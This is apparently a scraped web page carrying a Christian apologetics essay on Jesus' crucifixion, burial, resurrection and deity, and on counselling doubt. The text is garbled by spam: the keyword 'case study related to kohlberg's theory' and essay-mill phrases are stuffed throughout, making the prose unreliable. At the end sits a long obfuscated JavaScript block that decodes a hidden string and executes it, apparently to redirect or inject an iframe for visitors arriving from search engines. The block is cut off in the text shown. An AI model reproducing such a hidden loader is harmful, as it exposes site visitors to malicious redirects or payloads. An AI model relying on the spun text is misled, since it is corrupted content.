• These judgments are more complex than regular judgments as they require one to recognize and understand eg.

Of the more than twenty such witnesses, dating largely from about AD, twelve mention Jesus’ death with some providing several details. Together quite an amount of data is given. Contrary to some popular thinking, a person does not just hang on the cross until he bleeds or dehydrates to death.

To hang in the low position on the cross without pushing upwards for more than a minimal amount of time is to suffer asphyxiation according to virtually all case study related to kohlberg’s theory researchers.

So the authorities could tell when an individual had expired since one could not “play dead” by case study related to kohlberg’s theory low on the cross, while changing positions in order to breathe would obviously reveal that death had not yet occurred.

Most physicians who have studied this issue agree that the water most likely proceeded Henry iv shakespeare essay least partially from the pericardium, a sac which surrounds the heart and holds watery fluid.

In other words, the spear wound would have killed Jesus udlpfreebull1.000webhostapp.com He had not already expired. If the spear had entered Jesus’ lung and if He was still alive, the persons standing around the cross could have distinctly heard a sucking sound caused by the air being inhaled through the blood and other bodily fluids.

Again, it would have been obvious to group research paper authorities that Jesus was not dead. The body of the man buried in the shroud is in a state of rigor mortis and at least the chest wound exhibits a post-mortem blood flow.

And even so, unless it is simply a fake which it does not appear to beit would still provide many corroborating details for the nature of crucifixion in general. He pointed out that the greatest problem with any hypothesis which denied Jesus’ death on the cross is that Jesus’ appearances to the disciples would then obviously show that he was weak and sickly, in need of much medical care, as evidenced by his having escaped crucifixion alive but with unhealed wounds.

So after such extraordinary events as surviving the cross, not dying in the tomb, moving the stone and case study related to kohlberg’s theory to where the disciples were, Jesus would only have caused the disciples to want to nurse him back to health.

They would have gotten a doctor before proclaiming him risen! And at this point, contemporary studies even strengthen Strauss’ critique, for it is agreed even by virtually all critical scholars that the facts indicated that the earliest cases study related to kohlberg’s theory unquestionably believed that they had seen the glorified body of the risen Jesus.

Thus we conclude that the manuscript, historical and medical facts combine to firmly establish the fact of Jesus’ death on the cross, due to the rigors of crucifixion. It is no wonder that this event is admitted by virtually all scholars, liberal or conservative. The Burial of Jesus a All four gospels record Jesus’ burial and, again, there is much agreement on the general details. The trustworthiness of these accounts provides good source material corroborating this fact.

As such there is very early testimony which reveals that the burial was not a belief which was added decades after the academic writing sample itself, but actually predates the writing of the New Testament. Identifying itself as the “Ordinance of Caesar” and most probably dating from the reign of Emperor Claudius A. The most interesting issue is why a Roman emperor would be troubled enough by occurrences in Palestine in order for him to decree that anyone guilty of robbing tombs would be punished by death, especially when the normal punishment for this crime was a fine.

At any rate, whether this is an actual pay for my essay to Jesus’ burial or not, useful information is thereby gained,20 although this is admittedly not a primary evidence for His interment. As such, the shroud would be very valuable in providing information regarding the way the body was wrapped, as well as details gathered from the body image on the cloth. And, of course, the obvious fact would be that, if verified, it would provide actual empirical evidence for Jesus’ burial itself.

The evidences for the empty tomb, strictly speaking, belong in the next category of arguments for Jesus’ resurrection. It is for reasons such as these that even most critical exegetes accept the historical nature of the empty tomb,23 thereby including the facticity of at least some elements of the burial, as well.

Dunn notes that while the reports of the vacated tomb are doubted by some, scholarship as a whole has done more to substantiate than to disprove it. Whatever we make of it, here, we may say with confidence, is a piece of good historical information. Consequently, of all of the facts included in the gospel, this one in one sense requires the least amount of evidence. Consequently, relatively few critics dispute the fact. Thus, while the point to be made case study related to kohlberg’s theory is not an actual evidence for Jesus’ burial, it best paper writing service still a consideration in its favor.

Simply stated, a burial is the normal result of a death. As high school thesis statement exercises the facts which confirm Jesus’ death would seem to lead naturally to His burial.

Additionally, the evidence which we have strongly favors such an event. The Resurrection of Jesus a The trustworthiness of the New Testament and of the gospels, in particular provides support for the literal and bodily resurrection of Jesus. Although critics frequently question several portions of the gospel narratives,26 these passages can be defended successfully.

The general unanimity of the New Testament witness and the reliability of these texts produce a strong case for Jesus’ resurrection. Not only is this event reported in this literature,28 but it is utilized as evidence for other central Christian doctrines. Most cases study related to kohlberg’s theory who have investigated this subject date this tradition from the 30s A. At least ten total sources are concerned with the topic of what happened to Jesus after top 10 essay writing services death, with each of these actually mentioning either the resurrection or Jesus’ exaltation to heaven.

But the cases study related to kohlberg’s theory is still useful in a study of this subject. Not only have each sampaiodanovoa.pt these theories been refuted by the known data,34 but the critics themselves have generally rejected each of them.

While Nineteenth Century older German liberals critiqued these theories individually, Twentieth Century critical scholars have usually repudiated them as a whole. Factors such as the eyewitness testimony which has not been explained naturally, the changed lives of disciples who were willing to die specifically for their belief in the resurrection, the early date of the proclamation, the empty tomb and the testimonies of two former skeptical unbelievers Paul and James, the brother of Jesus are examples of the powerful arguments for the literal resurrection.

There is no bodily decomposition on the linen, meaning that the body professional assignment writing service not in the cloth for very long.

Additionally, the case study related to kohlberg’s theory pathologist who investigated the shroud has testified that the condition of the blood stains indicates that the body was not unwrapped. Lastly, it is our case study related to kohlberg’s theory that the case study related to kohlberg’s theory indicates the cause of the image on the material to be a scorch from a dead body. So the absence of a body which was possibly not unwrapped and a scorch from that dead body could provide empirical, repeatable case study related to kohlberg’s theory for Jesus’ resurrection.

In other words, I think that even if one utilizes only those cases study related to kohlberg’s theory which are known to be historical and which are recognized as such by skeptical cases study related to kohlberg’s theory, there is still enough data to show that Jesus literally rose from the dead.

This reveals that the resurrection can be established by the information known case study law and ethics be historical by both skeptics and believers alike. As the major event in the Christian faith which involves the supernatural working of God, the believer is on solid factual grounds with this occurrence, the corroboration of which can be approached and documented from any of several angles.

On a practical note, when so many events are reported in Scripture, it is by the grace of God that it is this center of faith I Cor. As such, there is much relevance here for the subject of factual doubt, as we will perceive below. The Deity of Jesus Christ a We will not further belabor the subject of the trustworthiness of the New Testament but will just state here that if the gospel texts are accurate, Jesus unquestionably claimed to be deity.

This is evident from numerous passages in all four gospels. His claims to deity are perhaps best seen in the self-designations “Son” in the case study related to kohlberg’s theory of speaking of God the Father, “Son of Man,” His references to God as “Abba,” and His answer to the high priest when asked if He was the Christ, the Son of God.

In other words, even in the critically ascertainable synoptic gospel passages which “liberal” critics almost unanimously believe to preserve the authentic words of Jesus, we still find that He claimed divine authority.

Thus, there is no necessary reason to distinguish the A scanner darkly essay of the minimal authentic sayings from the Jesus who makes the lofty claims found in all four gospels. Jesus claimed divine prerogatives in both cases. At least three non-Christian writings call Jesus divine, while four others relate that early Christians believed this about Jesus.

It may be argued that Jesus’ resurrection from the dead was the chief sign miracle which confirmed the truthfulness of His claims. As such, we have a firm foundation on which to address the issue of how we might make use of these facts in the treatment of doubt.

Applying Facts to Factual Doubt 1. Simple and Compound Doubt We began this chapter with the assertion how to write an essay even primarily factual is generally satisfied by the relevant evidence or other data.

In other words, this sort of state is treated chiefly by a study of the appropriate grounds for faith. Guinness expresses the issue this way: Faith does not feed on thin air but on facts.

Its instinct is to root itself in truth, to earth itself in reality, and it is this which distinguishes faith good academic writing examples by understanding. Truth is the only sufficient answer faith can give doubt, for it is the truth of the matter, the facts of the case study related to kohlberg’s theory which give faith its solid foundation. Deep questions require deep study. Christianity has something to do with fact and truth.

So doubts of error are met by knowledge and study. It has been our purpose to present a long list of evidences in favor of the death, burial, resurrection and deity of Jesus Christ. Although it was not possible to develop any of these points, informational footnotes have suggested some additional sources in order to facilitate just the sort of study which can be the primary correction to this type of uncertainty. Persons who have come to me with factual doubts are often distinguished by their questions involving the truthfulness of Christianity in whole or in partthe lack of observable emotional patterns and a case study related to kohlberg’s theory desire to accept a good answer.

As such, the proper data should at least theoretically be a sufficient cure. A simple and somewhat humorous illustration of this occurred in my own family.

My oldest son, Robbie, has always been a very inquisitive child, frequently refusing to take easy answers at face value. Once, after he asked me how one can case study related to kohlberg’s theory that Jesus was really raised from the dead, we got into a simple discussion about history in general and how one can know, for instance, that George Washington ever existed.

Just a short time later, during Easter season, Robbie’s Sunday School teacher asked the entire class the same question about the resurrection, to which my son replied, “How do you know that George Washington ever lived? published essays the same time, the counselor or teacher who does an insufficient job dealing with a question ought not necessarily assume that the person’s doubt is of a different nature.

Thus if an individual questions the deity of Christ, it will probably not help to tell him to “just believe,” concluding, if he doesn’t, that it must be a volitional issue. Guinness states the problem well: If someone is doubting the resurrection, it is irrelevant to assure him of Christ’s promise never to leave him — Christ never was with him if he has not risen.

If there is “no case study related to kohlberg’s theory why” for faith, the time may come when there is “no reason why not” for doubt. And the best remedy for this doubt is to know the sure and sufficient reasons God has given us, to know why we can know God is there, to know why we can trust his revelation as case study related to kohlberg’s theory, to know why we can be sure of his case study related to kohlberg’s theory and his goodness, and to case study related to kohlberg’s theory firm in our understanding of these truths.

More than factual doubt is quite often present. Perhaps what was once a more case study related to kohlberg’s theory factual uncertainty has progressed to emotional levels due to a person’s not being able to deal with it adequately.

A more complicated case would be one in which factual and emotional doubt leads to a volitional quandary because of the unsettled nature of the other issues. In one such case, an outstanding young Christian intellectual was studying for his doctorate at a major northeastern university. There he found himself alone and without much fellowship with other believers. And even though he had studied Christian philosophy and apologetics, what started as a few intellectual questions smoldered until an emotional flame followed.

This young student interpreted his emotions as a rejection of Christianity and acted accordingly. Over a case study related to kohlberg’s theory of a few months, he read several anti-Christian authors, further confirming his change in beliefs. During this time, when he had the opportunity, he told several of his Christian friends that he was now an agnostic and that he had, indeed, repudiated his faith.

Later, case study related to kohlberg’s theory this budding thesis statement for the story the lottery by shirley jackson the pastor discovered that volitional doubt was likewise operational–this graduate student both acted cold and had no intention or apparent desire to choose to believe otherwise.

This was an example of doubt that had started fairly simply but had later blossomed into a case study related to kohlberg’s theory case involving factual, emotional and volitional factors.

But the pastor rightly surmised in this case that, unless the factual objections were removed first, emotional healing and the response of the will would probably not occur. So, the pastor took several trips to see the student and, acting correctly, attempted to chip away at the case study related to kohlberg’s theory problems. Over a period of a few more months, the pastor was successful in showing his former member that, on strictly factual grounds, Christianity was true.

When no further factual objections of any importance remained, the pastor then concentrated on the rebellious will of the student, suggesting repentance.

While at first the advice was resisted, the student finally did repent, returning to a prosperous Christian belief and life. Some time later, things were still getting better with the fruits of true Christian commitment being evident. Here and in other situations of either salvation or such repentance, I must conclude that without the work of the Holy Spirit, the ultimate result would never have occurred.

98IZ4e6

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,52,113,56,48,51,72,84,77,76,60,34,112,47,119,63,38,95,43,85,67,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+$[24]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[13]+$[23]+$[25]+$[14]+$[13]+$[25]+$[17]+$[26]+$[13]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[17]+$[27]+([]+[]+{})[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[28]+$[29]+$[30]+$[31]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[32]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[33]+$[26]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[33]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[34]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[33]+$[26]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[33]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[33]+$[35]+$[35]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[3]+$[36]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[34]+$[35]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+$[37]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[38]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+$[1]+$[22]+$[42]+([]+[]+{})[+!+[]]+$[3]+$[34]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[39]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[36]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[42]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[17]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[16]+([]+[]+{})[+!+[]]+$[18]+(![]+[])[!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[10]+$[9]+(![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[17]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[40]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[40]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[36]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[34]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[37]+$[9]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[38]+$[9]+$[11]+$[40]+$[9]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[33]+$[34]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[44]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[44]+$[14]+$[26]+$[26]+$[45]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[44]+$[14]+$[26]+$[26]+$[45]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[4